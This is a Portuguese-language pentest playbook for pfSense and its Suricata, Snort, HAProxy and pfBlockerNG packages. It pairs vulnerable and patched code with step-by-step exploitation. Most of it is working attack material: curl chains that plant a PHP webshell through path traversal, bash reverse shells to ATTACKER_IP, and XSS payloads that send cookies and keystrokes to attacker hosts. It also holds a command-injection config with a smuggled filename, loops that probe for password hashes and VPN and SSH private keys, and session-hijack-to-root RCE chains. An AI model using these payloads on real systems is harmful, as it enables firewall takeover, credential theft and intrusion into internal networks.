python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET detect
time curl -k -s -o /dev/null \
-H "Host: 127.0.0.1; sleep 5; #" \
"https://TARGET/pfblockerng/index.php"
Impacto e Riscos
CRÍTICO: RCE como root SEM autenticação
- Atacante remoto executa comandos arbitrários
- pfSense web interface roda como root
- Acesso completo ao firewall e rede interna
- EPSS 84.7% indica alta probabilidade de exploração ativa
- Pode ser usado para:
* Comprometer toda a rede interna
* Interceptação de tráfego (MITM)
* Pivot para ataques laterais
* Adicionar firewall a botnet
* Mineração de criptomoedas
* DDoS attacks
4.7 CVE-2022-29273 — Stored XSS via URL Table Alias (CE < 2.6.0, Plus < 22.05)
Arquivos afetados: firewall_aliases.php, guiconfig.inc
CVSS v3.1: 6.1 Medium (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) | CWE: CWE-79
EPSS: 38.0% | Issue: #13060
Fix commits: 528e53e8bb, ac6e07b50d (Mai 2022)
Análise do código vulnerável (pré-patch):
if ($alias["url"]) {
echo $alias["url"] . "<br />";
}
if ($alias["url"]) {
echo "<a href=\"{$alias['url']}\">{$alias['url']}</a><br />";
}
echo "<tr><td>{$row['name']}</td><td>{$row['descr']}</td></tr>";
Código patchado (pós-fix):
if ($alias["url"]) {
echo htmlspecialchars($alias["url"]) . "<br />";
}
if ($alias["url"]) {
echo "<a href=\"" . htmlspecialchars($alias["url"]) . "\">" .
htmlspecialchars($alias["url"]) . "</a><br />";
}
echo "<tr><td>" . htmlspecialchars($row['name']) . "</td><td>" .
htmlspecialchars($row['descr']) . "</td></tr>";
python3 pocs/PfSense/CVE-2022-29273/poc.py -u https://TARGET -a PHPSESSID=abc123 detect
python3 pocs/PfSense/CVE-2022-29273/poc.py -u https://TARGET -a PHPSESSID=abc123 \
exploit --payload "<script>alert('XSS')</script>"
python3 pocs/PfSense/CVE-2022-29273/poc.py -u https://TARGET -a PHPSESSID=abc123 \
steal-cookie --callback https://ATTACKER/callback
python3 pocs/PfSense/CVE-2022-29273/poc.py -u https://TARGET -a PHPSESSID=abc123 check-patch
Payloads de Exemplo
payload = """<script>
var img=new Image();
img.src='https://ATTACKER/callback/?cookie='+encodeURIComponent(document.cookie);
</script>"""
payload = """<script>
document.onkeypress=function(e){
var img=new Image();
img.src='https://ATTACKER/callback/?key='+String.fromCharCode(e.charCode);
};
</script>"""
payload = """<script>
window.location='https://ATTACKER/phishing-pfsense.html';
</script>"""
payload = """<script src="https://ATTACKER/beef.js"></script>"""
Workflow de Exploração
python3 pocs/PfSense/CVE-2022-29273/poc.py -u https://TARGET \
-a PHPSESSID=VALID_SESSION \
exploit --payload "<script>document.location='https://ATTACKER/?c='+document.cookie</script>"
Mitigação
cat /etc/version
python3 pocs/PfSense/CVE-2022-29273/poc.py -u https://TARGET -a PHPSESSID=abc123 check-patch
4.8 CVE-2023-27253 — Command Injection via RRD Restore (CE < 2.7.1)
Arquivos afetados: config.lib.inc, backup.inc
CVSS v3.1: 8.8 High (AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H) | CWE: CWE-77
EPSS: 77.7% (High probability of exploitation)
Fix commit: ca80d18493 (Fev 2023) — Issue #13935
Análise do código vulnerável (pré-patch):
foreach ($conf['rrddata']['rrddatafile'] as $rrd) {
if ($rrd['xmldata']) {
$rrd_file = "{$g['vardb_path']}/rrd/{$rrd['filename']}";
$xml_file = preg_replace('/\.rrd$/', ".xml", $rrd_file);
exec("$rrdtool restore -f '{$xml_file}' '{$rrd_file}'", $output, $status);
}
}
foreach ($rrd_files as $rrd_file) {
exec("$rrdtool dump '{$rrd_file}' '{$xml_file}'");
}
Código patchado (pós-fix):
$rrd_file = "{$g['vardb_path']}/rrd/" . basename($rrd['filename']);
exec("{$rrdtool} restore -f " . escapeshellarg($xml_file) . ' ' . escapeshellarg($rrd_file), $output, $status);
exec("{$rrdtool} dump " . escapeshellarg($rrd_file) . ' ' . escapeshellarg($xml_file));
python3 pocs/PfSense/CVE-2023-27253/poc.py -u https://TARGET -a PHPSESSID=abc123 detect
python3 pocs/PfSense/CVE-2023-27253/poc.py -u https://TARGET -a PHPSESSID=abc123 \
exploit --cmd "id"
python3 pocs/PfSense/CVE-2023-27253/poc.py -u https://TARGET -a PHPSESSID=abc123 check-patch
Criação de Config Malicioso
cat > malicious_config.xml << 'EOF'
<?xml version="1.0"?>
<pfsense>
<rrddata>
<rrddatafile>
<filename>test_; id > /tmp/pwned;
<xmldata>H4sIAAAAAAAAA0tLSM0rLlEoSy0u0S1ILU7NKwEAGLXQJhUAAAA=</xmldata>
</rrddatafile>
</rrddata>
</pfsense>
EOF
curl -k -X POST "https://TARGET/diag_backup.php" \
-b "PHPSESSID=abc123xyz" \
-F "conffile=@malicious_config.xml" \
-F "restore=Restore"
Workflow de Exploração
python3 pocs/PfSense/CVE-2023-27253/poc.py -u https://TARGET -a PHPSESSID=abc123 \
exploit --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
Chain com Outras CVEs
Mitigação
cat /etc/version
python3 pocs/PfSense/CVE-2023-27253/poc.py -u https://TARGET -a PHPSESSID=abc123 check-patch
4.9 CVE-2025-12490 — Path Traversal → RCE via Suricata/Snort (CE 2.8.1)
Pacote afetado: Suricata 7.0.8_3 (e Snort — mesma família de vulnerabilidades, mesmo commit de fix)
CVSS: 8.8 (High) | CWE: CWE-22 | Fix: commit 36b2303 no FreeBSD-ports
Análise do diff do patch:
suricata_sid_mgmt.php:148 — $tmp['name'] = $_POST['sidlist_name'] (sem basename() → persiste nome malicioso no config.xml)
suricata_sid_mgmt.php:~290 — file_put_contents($tmpdirname . $list['name'], ...) (sem basename() → escreve no caminho resolvido)
Chain: salvar SID list com nome ../../usr/local/www/shell.php e conteúdo PHP →
triggar "Download All Lists" → file_put_contents("/tmp/sidmods/../../usr/local/www/shell.php") →
webshell acessível em https://TARGET/shell.php
curl -sk -c /tmp/pf.jar -b /tmp/pf.jar \
-d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" \
https://TARGET/ -o /dev/null
CSRF=$(curl -sk -c /tmp/pf.jar -b /tmp/pf.jar \
https://TARGET/suricata/suricata_sid_mgmt.php \
| grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")
SHELL_CONTENT='<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);}?>'
curl -sk -b /tmp/pf.jar \
-d "save=Save" \
-d "listid=0" \
--data-urlencode "sidlist_name=../../usr/local/www/pfsense_shell.php" \
--data-urlencode "sidlist_data=${SHELL_CONTENT}" \
-d "csrf_magic=${CSRF}" \
https://TARGET/suricata/suricata_sid_mgmt.php -v 2>&1 | grep -E "HTTP/|Location"
CSRF=$(curl -sk -c /tmp/pf.jar -b /tmp/pf.jar \
https://TARGET/suricata/suricata_sid_mgmt.php \
| grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")
curl -sk -b /tmp/pf.jar \
-d "sidlist_dnload_all=Download+All" \
-d "csrf_magic=${CSRF}" \
https://TARGET/suricata/suricata_sid_mgmt.php -o /dev/null
curl -sk "https://TARGET/pfsense_shell.php?cmd=id"
curl -sk "https://TARGET/pfsense_shell.php" \
--data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
curl -sk -b /tmp/pf.jar https://TARGET/pkg_mgr_installed.php \
| grep -iA2 "suricata\|snort" | grep -i "version\|7\.0\."
nuclei -u https://TARGET -t cves/2025/CVE-2025-12490.yaml -silent
Vetor Alternativo — Snort (mesma família, mesmo commit de fix)
curl -sk -b /tmp/pf.jar https://TARGET/snort/snort_sid_mgmt.php -I | head -1
curl -sk -b /tmp/pf.jar \
"https://TARGET/snort/snort_rules_edit.php?openruleset=../../usr/local/www/snort_shell.php" \
| grep -i "error\|not found\|open"
4.3 CVE-2025-34174 — Stored XSS via Status_Traffic_Totals (package <= 2.3.2_7)
Pacote afetado: Status_Traffic_Totals <= 2.3.2_7 em CE 2.8.0/2.8.1 e Plus 25.07/25.07.1
CVSS v3.1: 5.4 Medium | CWE: CWE-79 (Stored XSS) | Fix: commit 9e412ed @ pfsense/FreeBSD-ports
Detalhe crítico do código-fonte — o TODO que virou CVE:
if ($_POST['defaults']) {
$timePeriod = $_POST['time-period'];
$graphtype = $_POST['graph-type'];
$startDay = $_POST['start-day'];
...
write_config('Save default settings for Status > Traffic Totals');
}
<input type="number" ... value="<?=$startDay?>">
Por que Stored XSS é mais grave que Reflected (CVE-2025-34172):
- Payload persiste em
config.xml → ativa para TODOS os visitantes
- Não requer envio de link malicioso para a vítima
- Sobrevive ao logout do atacante
- Admin que acessa Status > Traffic Totals dispara o XSS automaticamente
python3 pocs/PfSense/CVE-2025-34174/poc.py \
-t https://TARGET detect
python3 pocs/PfSense/CVE-2025-34174/poc.py \
-t https://TARGET -u admin -p pfsense plant-xss
python3 pocs/PfSense/CVE-2025-34174/poc.py \
-t https://TARGET -u admin -p pfsense plant-xss \
--callback http://ATTACKER:8080
python3 pocs/PfSense/CVE-2025-34174/poc.py \
-t https://TARGET -u admin -p pfsense verify
python3 pocs/PfSense/CVE-2025-34174/poc.py listen --port 8080
python3 pocs/PfSense/CVE-2025-34174/poc.py \
-t https://TARGET -u admin -p pfsense chain-rce \
--callback http://ATTACKER:8080 --shell-cmd "id"
python3 pocs/PfSense/CVE-2025-34174/poc.py \
-t https://TARGET -u admin -p pfsense cleanup
CSRF=$(curl -sk -c /tmp/pf.jar -b /tmp/pf.jar https://TARGET/ \
| grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")
curl -sk -b /tmp/pf.jar https://TARGET/status_traffic_totals.php \
-d "defaults=1&time-period=day&graph-type=line&invert=false&cumulative=false" \
--data-urlencode 'start-day="><img src=x onerror=alert(document.domain)>' \
--data-urlencode "csrf_magic=${CSRF}" | grep -c "have been applied"
curl -sk https://TARGET/status_traffic_totals.php | grep -c "onerror="
4.4 CVE-2025-34173 — File Existence Oracle via Snort IP Reputation (Snort <= 4.1.6_25)
Pacote afetado: Snort <= 4.1.6_25 em CE 2.8.0/2.8.1 e Plus 25.07/25.07.1
CVSS v3.1: 4.3 Medium | CWE: CWE-22 | Fix: commit d6f462b @ pfsense/FreeBSD-ports
Análise do diff — dois locais idênticos (blist_add e wlist_add):
if (file_exists($_POST['iplist'])) {
} else {
$input_errors[] = "The file '{$_POST['iplist']}' could not be found.";
}
Oracle de 3 estados (diferenciação por resposta HTTP):
| Resposta | Significado |
|---|
"could not be found" | arquivo NÃO existe |
"already assigned" | arquivo existe (sem side-effect no config) |
| sem erro, config atualizado | arquivo existe (PoC faz cleanup automático) |
Cadeia com CVE-2025-53392: oracle identifica quais arquivos existem →
dlPath lê o conteúdo → exfiltração de hashes, PSKs, chaves privadas.
python3 pocs/PfSense/CVE-2025-34173/poc.py \
-t https://TARGET detect
python3 pocs/PfSense/CVE-2025-34173/poc.py \
-t https://TARGET -u admin -p pfsense enum
python3 pocs/PfSense/CVE-2025-34173/poc.py \
-t https://TARGET -u admin -p pfsense enum \
--targets pocs/PfSense/CVE-2025-34173/targets_custom.txt
python3 pocs/PfSense/CVE-2025-34173/poc.py \
-t https://TARGET -u admin -p pfsense check --path /etc/master.passwd
python3 pocs/PfSense/CVE-2025-34173/poc.py \
-t https://TARGET -u admin -p pfsense chain-read
curl -sk -b cookies.jar https://TARGET/snort/snort_ip_reputation.php \
-d "mode=wlist_add&iplist=/etc/master.passwd&id=0&csrf_magic=${CSRF}" \
| grep -c "could not be found"
for f in /etc/master.passwd /cf/conf/config.xml /root/.ssh/authorized_keys \
/var/etc/openvpn/server1.key /var/etc/ipsec/ipsec.secrets; do
result=$(curl -sk -b cookies.jar https://TARGET/snort/snort_ip_reputation.php \
-d "mode=wlist_add&iplist=${f}&id=0&csrf_magic=${CSRF}" \
| grep -c "could not be found")
[ "$result" -eq 0 ] && echo "[EXISTE] $f" || echo "[ ] $f"
CSRF=$(curl -sk -b cookies.jar https://TARGET/snort/snort_ip_reputation.php?id=0 \
| grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")
done
Alvos de Alta Prioridade para Enumeração
CRÍTICO /etc/master.passwd → hashes bcrypt de todos os usuários
CRÍTICO /cf/conf/config.xml → config completo (sempre existe)
CRÍTICO /root/.ssh/authorized_keys → chaves SSH de root
CRÍTICO /etc/ssh/ssh_host_rsa_key → chave privada SSH do host
CRÍTICO /var/etc/openvpn/server1.key → chave privada OpenVPN
CRÍTICO /var/etc/ipsec/swanctl.conf → PSKs IPSec
CRÍTICO /var/etc/ipsec/ipsec.secrets → segredos IPSec em texto plano
ALTO /var/etc/openvpn/server1.conf → config OpenVPN (confirma serviço)
ALTO /var/etc/ipsec/ipsec.conf → config IPSec
MÉDIO /usr/local/www/pfblockerng/ → pfBlockerNG instalado?
MÉDIO /usr/local/www/suricata/ → Suricata instalado?
MÉDIO /usr/local/www/haproxy/ → HAProxy instalado?
IOC /usr/local/www/backdoor.php → webshell plantado?
IOC /usr/local/www/pfsense_shell.php → shell de CVE-2025-12490?
4.4 CVE-2025-34172 — XSS + HAProxy Socket Injection (HAProxy <= 0.63_10)
Pacote afetado: HAProxy <= 0.63_10 em CE 2.8.0/2.8.1 e Plus 25.07/25.07.1
CVSS v3.1: 6.1 (PR:N — stats page pode ser pública) | CWE: CWE-79
Fix: commit 04d1328 @ pfsense/FreeBSD-ports
Nota KEV: não confirmado em CISA KEV via NVD, OpenCVE ou API do catálogo (consultado 2026-04-29)
Análise do diff — dois vetores, não apenas XSS:
$sticktablename = $_GET['showsticktablecontent'];
echo "Contents of the sticktable: $sticktablename<br/>";
$res = haproxy_socket_command("show table $sticktablename");
$showstatresolversname = $_GET['showstatresolvers'];
$res = haproxy_socket_command("show resolvers $showstatresolversname");
O protocolo HAProxy Management API usa \n como separador de comandos →
injeção de \n<comando> executa comandos arbitrários no plano de controle HAProxy.
python3 pocs/PfSense/CVE-2025-34172/poc.py \
-t https://TARGET detect
python3 pocs/PfSense/CVE-2025-34172/poc.py \
-t https://TARGET -u admin -p pfsense xss
python3 pocs/PfSense/CVE-2025-34172/poc.py \
-t https://TARGET -u admin -p pfsense socket-inject
python3 pocs/PfSense/CVE-2025-34172/poc.py \
-t https://TARGET --callback http://ATTACKER:8080 craft-xss
python3 pocs/PfSense/CVE-2025-34172/poc.py listen --port 8080
curl -sk "https://TARGET/haproxy/haproxy_stats.php?showsticktablecontent=<img+src=x+onerror=alert(1)>" \
| grep -o "sticktable.*" | head -3
curl -sk -b cookies.jar \
"https://TARGET/haproxy/haproxy_stats.php?showsticktablecontent=xxx%0ashow+info" \
| grep -E "Version:|Nbthread:|Uptime:|node:"
curl -sk -b cookies.jar \
"https://TARGET/haproxy/haproxy_stats.php?showsticktablecontent=xxx%0ashow+stat" \
| grep -E "^[^#].*BACKEND|^[^#].*SERVER" | cut -d',' -f1,2,18 | head -20
Cadeia Completa: XSS → Session Hijack → RCE
curl -sk -b cookies.jar \
"https://TARGET/haproxy/haproxy_stats.php?showsticktablecontent=xxx%0ashow+info" | head -20
STOLEN_SESSION="PHPSESSID=abc123"
CSRF=$(curl -sk -b "$STOLEN_SESSION" https://TARGET/diag_command.php \
| grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")
curl -sk -b "$STOLEN_SESSION" https://TARGET/diag_command.php \
-d "txtCommand=id&submit=EXEC&csrf_magic=${CSRF}" | grep -A3 "cmdoutput"
4.5 CVE-2025-34175 — Reflected XSS via suricata_filecheck.php (Suricata <= 7.0.8_3)
Pacote afetado: Suricata 7.0.8_3
CVSS: 6.1 (Medium) | CWE: CWE-79 | Fix: commit 97852cc no FreeBSD-ports (mesmo commit corrige CVE-2025-34176, 34177, 34178)
Análise do diff do patch:
Parâmetro filehash (GET) era refletido em 7 atributos href externos sem urlencode().
Fix adicionou urlencode($file_hash) em todos os 7 contextos.
PR:N no CVSS porque o atacante não precisa de credenciais para craftar a URL maliciosa —
a vítima (admin autenticado) é quem visita a página.
Contextos de reflexão (7 href externos)
https://www.virustotal.com/gui/file/{hash}/detection/
https://www.hybrid-analysis.com/sample/{hash}
https://virusscan.jotti.org/en-US/search/hash/{hash}
https://metadefender.opswat.com/results/file/{hash}/hash/overview?lang=en
https://www.joesandbox.com/search?q={hash}
https://opentip.kaspersky.com/{hash}/
https://beta.virusbay.io/sample/browse?q={hash}
Técnica de injeção
filehash = abc" onclick="alert(document.cookie)" x="
HTML resultante (em todos os 7 links):
<a href="https://www.virustotal.com/gui/file/abc" onclick="alert(document.cookie)" x=""/detection/">
Verificação manual
curl -sk "https://TARGET/suricata/suricata_filecheck.php" -o /dev/null -w "%{http_code}"
HASH='testprobe"xss='
HASH_ENC=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$HASH'))")
curl -sk -b cookies.jar "https://TARGET/suricata/suricata_filecheck.php?filehash=${HASH_ENC}" \
| grep -o 'virustotal.com/gui/file/[^"]*' | head -3
PAYLOAD='"><img src=x onerror=alert(document.domain)>'
PAYLOAD_ENC=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")
echo "URL maliciosa: https://TARGET/suricata/suricata_filecheck.php?filehash=${PAYLOAD_ENC}"
PAYLOAD='"><img src=x onerror="fetch('"'"'http://ATTACKER:8080?c='"'"'+document.cookie)">'
PAYLOAD_ENC=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"${PAYLOAD}\"))")
echo "URL de roubo: https://TARGET/suricata/suricata_filecheck.php?filehash=${PAYLOAD_ENC}"
STOLEN="PHPSESSID=<VALOR_CAPTURADO>"
CSRF=$(curl -sk -b "$STOLEN" https://TARGET/diag_command.php \
| grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")
curl -sk -b "$STOLEN" https://TARGET/diag_command.php \
-d "txtCommand=id&submit=EXEC&__csrf_magic=${CSRF}" \
| grep -A3 "cmdoutput"
CVEs do mesmo commit (97852cc)
curl -sk -b cookies.jar "https://TARGET/suricata/suricata_ip_reputation.php" \
-d "iplist=/etc/master.passwd&..." | grep -c "could not be found"
curl -sk -b cookies.jar https://TARGET/suricata/suricata_flow_stream.php \
-d 'policy_name="><img src=x onerror=alert(1)>&...' | grep -c "policy_name"
PoC disponível em: pocs/PfSense/CVE-2025-34175/poc.py
pip install requests
python3 pocs/PfSense/CVE-2025-34175/poc.py \
-t https://TARGET detect
python3 pocs/PfSense/CVE-2025-34175/poc.py \
-t https://TARGET -u admin -p pfsense verify
python3 pocs/PfSense/CVE-2025-34175/poc.py \
-t https://TARGET craft-xss
python3 pocs/PfSense/CVE-2025-34175/poc.py \
-t https://TARGET craft-xss --callback http://ATTACKER:8080
python3 pocs/PfSense/CVE-2025-34175/poc.py listen --port 8080
python3 pocs/PfSense/CVE-2025-34175/poc.py \
-t https://TARGET -u admin -p pfsense chain-rce \
--callback http://ATTACKER:8080 --shell-cmd "id"
4.7 CVE-2025-34177 e CVE-2025-34178 — Stored XSS via policy_name (Suricata <= 7.0.8_3)
Pacote afetado: Suricata 7.0.8_3
CVSS: 5.4 (Medium) ambas | CWE: CWE-79 | Fix: commit 97852cc
Dois arquivos PHP do Suricata gerenciam políticas de engine em subsistemas diferentes.
Ambos salvam policy_name sem htmlspecialchars() no config.xml e refletem
o valor via gettext($v['name']) sem encoding na tabela de políticas.
CVE-2025-34177 → suricata_flow_stream.php → Host OS Policy (TCP/stream engine)
config.xml: installedpackages/suricata/rule/{id}/host_os_policy/item[n][name]
CVE-2025-34178 → suricata_app_parsers.php → libhtp Policy (HTTP parser engine)
config.xml: installedpackages/suricata/rule/{id}/libhtp_policy/item[n][name]
Código vulnerável (idêntico em ambos os arquivos)
$engine['name'] = $policy_name;
<td><?=gettext($v['name'])?></td>
<td><?=gettext($v['bind_to'])?></td>
<td><?=htmlspecialchars(gettext($v['name']))?></td>
<td><?=htmlspecialchars(gettext($v['bind_to']))?></td>
print('<input ... value="' . $eng_name . '"/>');
Verificação manual
curl -sk "https://TARGET/suricata/suricata_flow_stream.php" -o /dev/null -w "%{http_code}"
curl -sk "https://TARGET/suricata/suricata_app_parsers.php" -o /dev/null -w "%{http_code}"
CSRF=$(curl -sk -b cookies.jar https://TARGET/suricata/suricata_flow_stream.php \
| grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")
curl -sk -b cookies.jar https://TARGET/suricata/suricata_flow_stream.php \
-d "mode=save_os_policy&policy_name=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E\
&policy_bind_to=all&policy=BSDHOME&id=0&csrf_magic=${CSRF}"
CSRF=$(curl -sk -b cookies.jar https://TARGET/suricata/suricata_app_parsers.php \
| grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")
curl -sk -b cookies.jar https://TARGET/suricata/suricata_app_parsers.php \
-d "mode=save_libhtp_policy&policy_name=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(1)%3E\
&policy_bind_to=all&policy_personality=IDS\
&policy_req_body_limit=4096&policy_resp_body_limit=4096\
&policy_meta_field_limit=18432\
&policy_enable_double_decode_path=no&policy_enable_double_decode_query=no\
&policy_enable_uri_include_all=no&id=0&csrf_magic=${CSRF}"
curl -sk -b cookies.jar "https://TARGET/suricata/suricata_flow_stream.php?id=0" \
| grep -o '<td>[^<]*onerror[^<]*</td>'
curl -sk -b cookies.jar "https://TARGET/suricata/suricata_app_parsers.php?id=0" \
| grep -o '<td>[^<]*onerror[^<]*</td>'
STOLEN="PHPSESSID=<VALOR_CAPTURADO>"
CSRF=$(curl -sk -b "$STOLEN" https://TARGET/diag_command.php \
| grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")
curl -sk -b "$STOLEN" https://TARGET/diag_command.php \
-d "txtCommand=id&submit=EXEC&__csrf_magic=${CSRF}" | grep -A3 cmdoutput
PoCs disponíveis:
pip install requests
python3 pocs/PfSense/CVE-2025-34177/poc.py -t https://TARGET detect
python3 pocs/PfSense/CVE-2025-34177/poc.py \
-t https://TARGET -u admin -p pfsense plant-xss --callback http://ATTACKER:8080
python3 pocs/PfSense/CVE-2025-34177/poc.py \
-t https://TARGET -u admin -p pfsense verify
python3 pocs/PfSense/CVE-2025-34177/poc.py \
-t https://TARGET -u admin -p pfsense chain-rce --callback http://ATTACKER:8080
python3 pocs/PfSense/CVE-2025-34177/poc.py listen --port 8080
python3 pocs/PfSense/CVE-2025-34178/poc.py \
-t https://TARGET -u admin -p pfsense plant-xss --callback http://ATTACKER:8080
python3 pocs/PfSense/CVE-2025-34178/poc.py \
-t https://TARGET -u admin -p pfsense verify
python3 pocs/PfSense/CVE-2025-34178/poc.py \
-t https://TARGET -u admin -p pfsense chain-rce --callback http://ATTACKER:8080
for poc in CVE-2025-34177 CVE-2025-34178; do
python3 pocs/PfSense/${poc}/poc.py \
-t https://TARGET -u admin -p pfsense plant-xss --callback http://ATTACKER:8080
done
4.6 CVE-2025-34176 — File Existence Oracle via suricata_ip_reputation.php (Suricata <= 7.0.8_3)
Pacote afetado: Suricata 7.0.8_3 (PORTREVISION <= 3)
CVSS: 4.3 (Medium) | CWE: CWE-22 | Fix: commit 97852cc (mesmo da CVE-2025-34175)
Espelho exato do CVE-2025-34173 (Snort) — mesma falha em pacote diferente.
Parâmetro POST iplist passado diretamente para file_exists() sem basename().
Dois modos vulneráveis: iprep_catlist_add e iplist_add.
Fix: file_exists($iprep_path . basename($_POST['iplist'])) onde
$iprep_path = SURICATA_IPREP_PATH = /var/db/suricata/iprep/
Diferenças Snort (CVE-2025-34173) vs Suricata (CVE-2025-34176)
CVE-2025-34173 (Snort) CVE-2025-34176 (Suricata)
Endpoint: /snort/snort_ip_reputation.php /suricata/suricata_ip_reputation.php
Modos POST: blist_add / wlist_add iprep_catlist_add / iplist_add
Path base: /var/db/snort/iprep/ /var/db/suricata/iprep/
Fix commit: d6f462b 97852cc
CVSS: 4.3 4.3
Padrão de bug: idêntico idêntico
Verificação manual
curl -sk "https://TARGET/suricata/suricata_ip_reputation.php" \
-o /dev/null -w "%{http_code}"
curl -sk -b cookies.jar https://TARGET/suricata/suricata_ip_reputation.php \
-d "mode=iplist_add&iplist=/etc/shadow_nao_existe&id=0&csrf_magic=TOKEN" \
| grep -o "could not be found"
curl -sk -b cookies.jar https://TARGET/suricata/suricata_ip_reputation.php \
-d "mode=iplist_add&iplist=/etc/master.passwd&id=0&csrf_magic=TOKEN" \
| grep -o "already assigned"
for pkg in snort suricata; do
code=$(curl -sk "https://TARGET/${pkg}/${pkg}_ip_reputation.php" \
-o /dev/null -w "%{http_code}")
echo "$pkg: HTTP $code"
done
python3 pocs/PfSense/CVE-2025-34176/poc.py \
-t https://TARGET -u admin -p pfsense enum
python3 pocs/PfSense/CVE-2025-34176/poc.py \
-t https://TARGET -u admin -p pfsense check --path /cf/conf/config.xml
python3 pocs/PfSense/CVE-2025-34176/poc.py \
-t https://TARGET -u admin -p pfsense chain-read
Cadeia de Exploração
CVE-2025-34176 (oracle Suricata) OU CVE-2025-34173 (oracle Snort)
↓ descobre que /etc/master.passwd e /cf/conf/config.xml existem
CVE-2025-53392 (dlPath)
↓ lê os arquivos confirmados
Hashes bcrypt + PSKs VPN + chaves privadas
↓ hashcat + análise
Comprometimento de credenciais + VPNs
PoC disponível em: pocs/PfSense/CVE-2025-34176/poc.py
pip install requests
python3 pocs/PfSense/CVE-2025-34176/poc.py -t https://TARGET detect
python3 pocs/PfSense/CVE-2025-34176/poc.py \
-t https://TARGET -u admin -p pfsense enum
python3 pocs/PfSense/CVE-2025-34176/poc.py \
-t https://TARGET -u admin -p pfsense check --path /etc/master.passwd
python3 pocs/PfSense/CVE-2025-34176/poc.py \
-t https://TARGET -u admin -p pfsense chain-read
4.8 CVE-2024-54779 — Stored XSS + XML Injection via Dashboard Log Widget (CE < 2.8.0)
Arquivo: widgets/widgets/log.widget.php
CVSS: 5.4 (Medium) | CWE: CWE-79 + CWE-91 | Fix commits: 04b74da, 6b42147, ff50e62
Dois vetores distintos na mesma funcionalidade de salvar configurações do widget:
- Stored XSS:
filterlogentriesinterval salvo sem validação numérica e injetado
diretamente no contexto JavaScript: logsObject.freq = <?=$nentriesinterval?>;
- XML Injection:
widgetkey não validado é usado como chave PHP que vira nome
de elemento XML em config.xml. Widgetkey malformado pode corromper a config.
Análise do Código Vulnerável
if ($_POST['widgetkey'] || $_GET['widgetkey']) {
$widgetkey = $_POST['widgetkey'];
}
$user_settings['widgets'][$widgetkey]['filterlogentriesinterval']
= $_POST['filterlogentriesinterval'];
$nentriesinterval = $user_settings['widgets'][$widgetkey]['filterlogentriesinterval'] ?? 60;
logsObject.freq = <?=$nentriesinterval?>;
if (is_valid_widgetkey($rwidgetkey, $user_settings, __FILE__)) { ... }
$nentriesinterval = is_numeric(...) ? $val : 60;
Vetor XSS — Payload
# Sink JS: logsObject.freq = <PAYLOAD>;
# Payload: 1;alert(document.domain)//
# Resultado: logsObject.freq = 1;alert(document.domain)//;
# Payload de cookie-theft:
1;(function(){var i=new Image();i.src='http://ATTACKER/?c='+encodeURIComponent(document.cookie)})()//
Vetor XML Injection — Estrutura
# widgetkey malformado:
log-0></log-0><malicious>INJECTED</malicious><!--
# Efeito em config.xml (seção widgets do usuário):
<log-0></log-0>
<malicious>INJECTED</malicious>
<!-- ← corta o restante como comentário XML
# RISCO: pode forçar factory reset para recuperar config.xml
# Em cluster HA: propagado via XMLRPC sync → impacto em todos os nós
Exploração com PoC
python3 pocs/PfSense/CVE-2024-54779/poc.py \
-t https://TARGET -u admin -p pfsense detect
python3 pocs/PfSense/CVE-2024-54779/poc.py \
-t https://TARGET -u admin -p pfsense plant-xss \
--callback http://ATTACKER:8080
python3 pocs/PfSense/CVE-2024-54779/poc.py \
listen --port 8080
python3 pocs/PfSense/CVE-2024-54779/poc.py \
-t https://TARGET -u admin -p pfsense verify
python3 pocs/PfSense/CVE-2024-54779/poc.py \
-t https://TARGET -u admin -p pfsense cleanup
python3 pocs/PfSense/CVE-2024-54779/poc.py \
-t https://TARGET -u admin -p pfsense xml-inject --dry-run
Cadeia Completa: XSS → Acesso Admin → RCE
CVE-2024-54779 (Stored XSS)
↓ filterlogentriesinterval = 1;(img.src=ATTACKER+cookie)//
↓ admin carrega dashboard → cookie exfiltrado
↓
Sessão admin sequestrada
↓
diag_command.php (exec como root)
↓
RCE completo + CVE-2025-53392 (leitura de arquivos)
4.10 Verificar pfBlockerNG (Pacote — Alta Severidade)
curl -sk -b cookies.txt https://TARGET/pfblockerng/pfblockerng.php | grep -i pfblocker
python3 pocs/PfSense/CVE-2022-31814/poc.py -u https://TARGET detect